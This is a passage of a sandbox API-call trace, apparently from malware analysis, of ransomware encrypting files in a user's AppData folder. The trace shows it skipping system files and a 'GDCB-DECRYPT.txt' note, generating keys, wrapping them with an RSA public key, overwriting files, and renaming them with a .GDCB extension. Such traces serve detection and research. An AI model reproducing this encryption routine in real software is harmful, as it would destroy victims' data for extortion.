lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0053.503] WriteFile (in: hFile=0x500, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285eaa8*=0x10, lpOverlapped=0x0) returned 1 [0053.503] CloseHandle (hObject=0x500) returned 1 [0053.508] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.508] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.508] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.509] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml.gdcb")) returned 1 [0053.514] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.514] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.514] FindNextFileW (in: hFindFile=0x5896a0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0053.514] FindClose (in: hFindFile=0x5896a0 | out: hFindFile=0x5896a0) returned 1 [0053.514] FindNextFileW (in: hFindFile=0x589560, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0053.514] FindClose (in: hFindFile=0x589560 | out: hFindFile=0x589560) returned 1 [0053.514] FindNextFileW (in: hFindFile=0x589020, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0 [0053.514] FindClose (in: hFindFile=0x589020 | out: hFindFile=0x589020) returned 1 [0053.514] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.514] lstrcmpW (lpString1="CztjLRmT.bmp", lpString2=".") returned 1 [0053.514] lstrcmpW (lpString1="CztjLRmT.bmp", lpString2="..") returned 1 [0053.514] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="CztjLRmT.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp" [0053.514] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.514] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp") returned 50 [0053.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp") returned 50 [0053.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp") returned 50 [0053.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp") returned 50 [0053.514] lstrcmpiW (lpString1="CztjLRmT.bmp", lpString2="desktop.ini") returned -1 [0053.514] lstrcmpiW (lpString1="CztjLRmT.bmp", lpString2="autorun.inf") returned 1 [0053.514] lstrcmpiW (lpString1="CztjLRmT.bmp", lpString2="ntuser.dat") returned -1 [0053.515] lstrcmpiW (lpString1="CztjLRmT.bmp", lpString2="iconcache.db") returned -1 [0053.515] lstrcmpiW (lpString1="CztjLRmT.bmp", lpString2="bootsect.bak") returned 1 [0053.515] lstrcmpiW (lpString1="CztjLRmT.bmp", lpString2="boot.ini") returned 1 [0053.515] lstrcmpiW (lpString1="CztjLRmT.bmp", lpString2="ntuser.dat.log") returned -1 [0053.515] lstrcmpiW (lpString1="CztjLRmT.bmp", lpString2="thumbs.db") returned -1 [0053.515] lstrcmpiW (lpString1="CztjLRmT.bmp", lpString2="GDCB-DECRYPT.txt") returned -1 [0053.515] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\cztjlrmt.bmp")) returned 0x20 [0053.515] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp", dwFileAttributes=0x20) returned 1 [0053.515] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.515] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp" [0053.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp.GDCB" [0053.515] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.515] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.516] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.516] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.516] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.516] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.516] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.516] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x5900a0) returned 1 [0053.516] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.517] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.517] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.517] CryptGenRandom (in: hProv=0x5900a0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.517] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0053.517] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.517] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.517] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.517] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x5902c0) returned 1 [0053.519] CryptImportKey (in: hProv=0x5902c0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x588f20) returned 1 [0053.519] CryptGetKeyParam (in: hKey=0x588f20, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.519] CryptEncrypt (in: hKey=0x588f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.519] GetLastError () returned 0x0 [0053.519] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0053.519] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.521] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x588f60) returned 1 [0053.521] CryptGetKeyParam (in: hKey=0x588f60, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.521] CryptEncrypt (in: hKey=0x588f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.521] GetLastError () returned 0x0 [0053.521] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.521] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\cztjlrmt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.522] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.522] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.522] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x157a4, lpOverlapped=0x0) returned 1 [0053.526] VirtualAlloc (lpAddress=0x0, dwSize=0x157b0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.527] VirtualAlloc (lpAddress=0x0, dwSize=0x157b0, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0053.528] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.529] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-87972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.529] WriteFile (in: hFile=0x4f4, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x157b0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285f240*=0x157b0, lpOverlapped=0x0) returned 1 [0053.529] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.529] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.532] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.532] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.532] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.532] CloseHandle (hObject=0x4f4) returned 1 [0053.534] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.534] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.534] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.534] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\cztjlrmt.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CztjLRmT.bmp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\cztjlrmt.bmp.gdcb")) returned 1 [0053.535] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.535] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.535] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.535] lstrcmpW (lpString1="ExocxBlrLmuRHv.gif", lpString2=".") returned 1 [0053.535] lstrcmpW (lpString1="ExocxBlrLmuRHv.gif", lpString2="..") returned 1 [0053.535] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ExocxBlrLmuRHv.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif" [0053.535] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.535] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif") returned 56 [0053.535] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif") returned 56 [0053.535] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif") returned 56 [0053.535] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif") returned 56 [0053.535] lstrcmpiW (lpString1="ExocxBlrLmuRHv.gif", lpString2="desktop.ini") returned 1 [0053.535] lstrcmpiW (lpString1="ExocxBlrLmuRHv.gif", lpString2="autorun.inf") returned 1 [0053.535] lstrcmpiW (lpString1="ExocxBlrLmuRHv.gif", lpString2="ntuser.dat") returned -1 [0053.535] lstrcmpiW (lpString1="ExocxBlrLmuRHv.gif", lpString2="iconcache.db") returned -1 [0053.535] lstrcmpiW (lpString1="ExocxBlrLmuRHv.gif", lpString2="bootsect.bak") returned 1 [0053.535] lstrcmpiW (lpString1="ExocxBlrLmuRHv.gif", lpString2="boot.ini") returned 1 [0053.535] lstrcmpiW (lpString1="ExocxBlrLmuRHv.gif", lpString2="ntuser.dat.log") returned -1 [0053.535] lstrcmpiW (lpString1="ExocxBlrLmuRHv.gif", lpString2="thumbs.db") returned -1 [0053.535] lstrcmpiW (lpString1="ExocxBlrLmuRHv.gif", lpString2="GDCB-DECRYPT.txt") returned -1 [0053.535] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exocxblrlmurhv.gif")) returned 0x20 [0053.536] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif", dwFileAttributes=0x20) returned 1 [0053.536] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.536] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif" [0053.536] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif.GDCB" [0053.536] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58ff08) returned 1 [0053.536] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.537] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.537] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.537] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.537] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0053.537] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.537] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.537] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.537] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.538] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.538] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.538] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.538] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.538] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.538] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.538] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.540] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x589560) returned 1 [0053.540] CryptGetKeyParam (in: hKey=0x589560, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.540] CryptEncrypt (in: hKey=0x589560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.541] GetLastError () returned 0x0 [0053.541] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.541] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.543] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x589620) returned 1 [0053.543] CryptGetKeyParam (in: hKey=0x589620, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.543] CryptEncrypt (in: hKey=0x589620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.543] GetLastError () returned 0x0 [0053.543] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.543] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exocxblrlmurhv.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.543] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.543] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.543] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x12bf4, lpOverlapped=0x0) returned 1 [0053.548] VirtualAlloc (lpAddress=0x0, dwSize=0x12c00, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.548] VirtualAlloc (lpAddress=0x0, dwSize=0x12c00, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0053.549] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.550] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-76788, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.550] WriteFile (in: hFile=0x4f4, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x12c00, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285f240*=0x12c00, lpOverlapped=0x0) returned 1 [0053.550] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.550] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.553] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.553] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.553] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.554] CloseHandle (hObject=0x4f4) returned 1 [0053.555] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.555] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.555] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.555] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exocxblrlmurhv.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ExocxBlrLmuRHv.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exocxblrlmurhv.gif.gdcb")) returned 1 [0053.556] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.556] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.556] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.558] lstrcmpW (lpString1="FCmH0Q4.bmp", lpString2=".") returned 1 [0053.558] lstrcmpW (lpString1="FCmH0Q4.bmp", lpString2="..") returned 1 [0053.558] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="FCmH0Q4.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp" [0053.558] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.558] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp") returned 49 [0053.558] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp") returned 49 [0053.558] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp") returned 49 [0053.558] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp") returned 49 [0053.558] lstrcmpiW (lpString1="FCmH0Q4.bmp", lpString2="desktop.ini") returned 1 [0053.558] lstrcmpiW (lpString1="FCmH0Q4.bmp", lpString2="autorun.inf") returned 1 [0053.558] lstrcmpiW (lpString1="FCmH0Q4.bmp", lpString2="ntuser.dat") returned -1 [0053.558] lstrcmpiW (lpString1="FCmH0Q4.bmp", lpString2="iconcache.db") returned -1 [0053.558] lstrcmpiW (lpString1="FCmH0Q4.bmp", lpString2="bootsect.bak") returned 1 [0053.558] lstrcmpiW (lpString1="FCmH0Q4.bmp", lpString2="boot.ini") returned 1 [0053.558] lstrcmpiW (lpString1="FCmH0Q4.bmp", lpString2="ntuser.dat.log") returned -1 [0053.558] lstrcmpiW (lpString1="FCmH0Q4.bmp", lpString2="thumbs.db") returned -1 [0053.558] lstrcmpiW (lpString1="FCmH0Q4.bmp", lpString2="GDCB-DECRYPT.txt") returned -1 [0053.558] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\fcmh0q4.bmp")) returned 0x20 [0053.558] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp", dwFileAttributes=0x20) returned 1 [0053.559] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.559] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp" [0053.559] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp.GDCB" [0053.559] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.559] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.559] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.560] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.560] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.560] 